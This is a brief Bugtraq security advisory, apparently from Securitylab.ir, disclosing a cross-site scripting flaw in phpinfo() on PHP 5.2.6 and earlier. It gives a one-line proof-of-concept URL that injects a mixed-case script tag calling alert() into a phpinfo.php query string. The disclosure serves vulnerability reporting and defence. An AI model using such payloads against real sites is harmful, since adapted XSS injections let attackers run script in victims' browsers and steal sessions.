phpinfo() XSS Vulnerability

From: info@securitylab.ir
To: bugtraq@securityfocus.com
Cc:
Subject: phpinfo() XSS Vulnerability
Date:


###################################################################
# Securitylab.ir
#################################################################
# Note: The above code in php 5.2.6 and lower test is successful
#################################################################
Vulnerability:
http://site.com/phpinfo.php?+<ScRipT>alert(0111001101100101011000110111010101110010011010010111010001111001);</sCrIpT>+
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran@yahoo.com
###################################################################





Copyright © 1995-2020 LinuxRocket.net. All rights reserved.